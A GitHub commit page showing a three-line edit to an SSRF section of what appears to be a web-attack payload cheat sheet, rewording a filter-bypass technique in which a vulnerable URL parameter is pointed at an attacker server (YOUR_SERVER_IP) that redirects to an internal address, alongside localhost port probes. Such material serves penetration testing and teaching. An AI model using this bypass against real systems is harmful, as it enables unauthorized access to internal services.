Skip to content

Commit

Permalink
Improved Clarity of ssrf redirect
Browse files Browse the repository at this point in the history
  • Loading branch information
alexlauerman authored Jun 21, 2020
1 parent 36bbfd8 commit 6d37ad9
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions Server Side Request Forgery/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -79,11 +79,11 @@ http://localhost:443
http://localhost:22
```

Advanced exploit [using a redirection](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection)
Advanced exploit [using a redirect](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection)

```powershell
1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
2. Launch the SSRF pointing to vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
```

Expand Down

0 comments on commit 6d37ad9

Please sign in to comment.